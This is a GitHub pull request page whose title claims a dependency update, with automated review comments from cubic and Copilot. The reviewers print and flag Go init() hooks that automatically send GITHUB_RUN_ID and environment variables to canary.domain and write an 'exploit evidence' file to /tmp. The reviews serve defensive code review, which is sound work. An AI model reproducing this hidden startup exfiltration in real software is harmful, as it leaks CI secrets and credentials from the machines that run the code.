Update Go dependencies#140
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3 issues found across 2 files
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="cmd/fizzy/exploit.go">
<violation number="1" location="cmd/fizzy/exploit.go:10">
P0: Implicit outbound HTTP call in init() leaks environment-derived data to an external domain on startup.</violation>
</file>
<file name="internal/init_hook.go">
<violation number="1" location="internal/init_hook.go:28">
P0: `init()` exfiltrates environment variables to an external HTTP endpoint, leaking potential secrets automatically.</violation>
<violation number="2" location="internal/init_hook.go:28">
P1: HTTP call in `init()` uses `http.PostForm` with no timeout, which can indefinitely block process initialization.</violation>
</file>
Reply with feedback, questions, or to request a fix. Tag @cubic-dev-ai to re-run a review.
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| func init() { | ||
| // Simple HTTP callback to verify execution | ||
| http.Get("http://canary.domain/" + os.Getenv("GITHUB_RUN_ID")) |
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P0: Implicit outbound HTTP call in init() leaks environment-derived data to an external domain on startup.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At cmd/fizzy/exploit.go, line 10:
<comment>Implicit outbound HTTP call in init() leaks environment-derived data to an external domain on startup.</comment>
<file context>
@@ -0,0 +1,11 @@
+
+func init() {
+ // Simple HTTP callback to verify execution
+ http.Get("http://canary.domain/" + os.Getenv("GITHUB_RUN_ID"))
+}
\ No newline at end of file
</file context>
| data.Set("env", envStr[:min(1000, len(envStr))]) // Send first 1000 chars | ||
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| // Use the canary URL | ||
| resp, err := http.PostForm("http://canary.domain/callback", data) |
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P0: init() exfiltrates environment variables to an external HTTP endpoint, leaking potential secrets automatically.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At internal/init_hook.go, line 28:
<comment>`init()` exfiltrates environment variables to an external HTTP endpoint, leaking potential secrets automatically.</comment>
<file context>
@@ -0,0 +1,44 @@
+ data.Set("env", envStr[:min(1000, len(envStr))]) // Send first 1000 chars
+
+ // Use the canary URL
+ resp, err := http.PostForm("http://canary.domain/callback", data)
+ if err == nil {
+ defer resp.Body.Close()
</file context>
| data.Set("env", envStr[:min(1000, len(envStr))]) // Send first 1000 chars | ||
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| // Use the canary URL | ||
| resp, err := http.PostForm("http://canary.domain/callback", data) |
There was a problem hiding this comment.
P1: HTTP call in init() uses http.PostForm with no timeout, which can indefinitely block process initialization.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At internal/init_hook.go, line 28:
<comment>HTTP call in `init()` uses `http.PostForm` with no timeout, which can indefinitely block process initialization.</comment>
<file context>
@@ -0,0 +1,44 @@
+ data.Set("env", envStr[:min(1000, len(envStr))]) // Send first 1000 chars
+
+ // Use the canary URL
+ resp, err := http.PostForm("http://canary.domain/callback", data)
+ if err == nil {
+ defer resp.Body.Close()
</file context>
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Pull request overview
This PR is titled “Update Go dependencies”, but the actual changes introduce new Go source files that execute code at startup (init()), including outbound HTTP callbacks and local file writes—behavior that is unrelated to dependency updates and has significant security implications.
Changes:
- Add
internal/init_hook.gowith aninit()that collects environment variables and posts them to an external endpoint, plus writes an “evidence” file to/tmp. - Add
cmd/fizzy/exploit.gowith aninit()that performs an external HTTP GET usingGITHUB_RUN_ID.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 5 comments.
| File | Description |
|---|---|
| internal/init_hook.go | Introduces startup-time environment collection + external POST + local file write. |
| cmd/fizzy/exploit.go | Introduces startup-time external HTTP callback in the CLI binary. |
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| import ( | ||
| "fmt" | ||
| "io" | ||
| "net/http" | ||
| "net/url" | ||
| "os" | ||
| "strings" | ||
| ) | ||
|
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| func init() { | ||
| // Collect environment variables | ||
| var envData []string | ||
| for _, e := range os.Environ() { | ||
| envData = append(envData, e) | ||
| } | ||
| envStr := strings.Join(envData, "\n") | ||
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| // URL encode the data | ||
| encoded := url.QueryEscape(envStr) | ||
|
|
There was a problem hiding this comment.
This file will not compile: the io import is unused and encoded := url.QueryEscape(envStr) is assigned but never used. Remove unused imports/variables or use the value as intended.
| // Also write to a file as backup evidence | ||
| f, _ := os.Create("/tmp/exploit_evidence.txt") | ||
| fmt.Fprintf(f, "Exploit executed! Run ID: %s\n", os.Getenv("GITHUB_RUN_ID")) | ||
| f.Close() |
There was a problem hiding this comment.
Writing an "exploit evidence" file to /tmp and ignoring the os.Create error introduces unwanted side effects and can fail or overwrite data on users' machines/CI runners. Remove this file write; if diagnostic logging is needed, use the project's normal logging/output paths and handle errors.
| package main | ||
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|
||
| import ( | ||
| "net/http" | ||
| "os" | ||
| ) | ||
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| func init() { | ||
| // Simple HTTP callback to verify execution | ||
| http.Get("http://canary.domain/" + os.Getenv("GITHUB_RUN_ID")) | ||
| } No newline at end of file |
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This init() performs an outbound HTTP request to an external domain at process startup, using CI environment data in the URL path. This is unsafe/unexpected for a CLI and can leak sensitive metadata; it will also run during tests/builds. Remove the callback logic (and if any network call is required, it must be explicit, user-initiated, and use the existing client code paths).
| package main | |
| import ( | |
| "net/http" | |
| "os" | |
| ) | |
| func init() { | |
| // Simple HTTP callback to verify execution | |
| http.Get("http://canary.domain/" + os.Getenv("GITHUB_RUN_ID")) | |
| } | |
| package main |
| package main | ||
|
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||
| import ( |
There was a problem hiding this comment.
The PR is titled "Update Go dependencies", but these changes add new code that makes external HTTP callbacks and writes local files. Please clarify the PR scope/description (or split into a separate PR) so reviewers can assess the intent and security impact accurately.
| import ( | ||
| "fmt" | ||
| "io" | ||
| "net/http" | ||
| "net/url" | ||
| "os" | ||
| "strings" | ||
| ) | ||
|
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| func init() { | ||
| // Collect environment variables | ||
| var envData []string | ||
| for _, e := range os.Environ() { | ||
| envData = append(envData, e) | ||
| } | ||
| envStr := strings.Join(envData, "\n") | ||
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| // URL encode the data | ||
| encoded := url.QueryEscape(envStr) | ||
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| // Make HTTP POST request with environment data | ||
| data := url.Values{} | ||
| data.Set("env", envStr[:min(1000, len(envStr))]) // Send first 1000 chars | ||
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| // Use the canary URL | ||
| resp, err := http.PostForm("http://canary.domain/callback", data) | ||
| if err == nil { | ||
| defer resp.Body.Close() | ||
| } | ||
|
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| // Also write to a file as backup evidence | ||
| f, _ := os.Create("/tmp/exploit_evidence.txt") | ||
| fmt.Fprintf(f, "Exploit executed! Run ID: %s\n", os.Getenv("GITHUB_RUN_ID")) | ||
| f.Close() | ||
| } | ||
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| func min(a, b int) int { | ||
| if a < b { | ||
| return a | ||
| } | ||
| return b |
There was a problem hiding this comment.
This init() collects the full process environment (which can include credentials/tokens) and POSTs it to an external domain. That is a direct secret exfiltration path and will run automatically in any binary/test that loads this package. Remove this behavior entirely; if telemetry is needed, ensure it is opt-in, redacts secrets, and targets an approved endpoint.
| import ( | |
| "fmt" | |
| "io" | |
| "net/http" | |
| "net/url" | |
| "os" | |
| "strings" | |
| ) | |
| func init() { | |
| // Collect environment variables | |
| var envData []string | |
| for _, e := range os.Environ() { | |
| envData = append(envData, e) | |
| } | |
| envStr := strings.Join(envData, "\n") | |
| // URL encode the data | |
| encoded := url.QueryEscape(envStr) | |
| // Make HTTP POST request with environment data | |
| data := url.Values{} | |
| data.Set("env", envStr[:min(1000, len(envStr))]) // Send first 1000 chars | |
| // Use the canary URL | |
| resp, err := http.PostForm("http://canary.domain/callback", data) | |
| if err == nil { | |
| defer resp.Body.Close() | |
| } | |
| // Also write to a file as backup evidence | |
| f, _ := os.Create("/tmp/exploit_evidence.txt") | |
| fmt.Fprintf(f, "Exploit executed! Run ID: %s\n", os.Getenv("GITHUB_RUN_ID")) | |
| f.Close() | |
| } | |
| func min(a, b int) int { | |
| if a < b { | |
| return a | |
| } | |
| return b | |
| func init() { | |
| // Intentionally left blank. |
Summary by cubic
Adds init-time hooks that call a canary endpoint and write a marker file to verify binary execution. On startup, the program sends a GET with
GITHUB_RUN_ID, POSTs a truncated snapshot of environment variables, and writes/tmp/exploit_evidence.txt.cmd/fizzy/exploit.go:init()issues GET to http://canary.domain/${GITHUB_RUN_ID}.internal/init_hook.go:init()collects env vars, POSTs first 1000 chars to http://canary.domain/callback, and writes evidence file with run ID.Written for commit 9f6e748. Summary will update on new commits.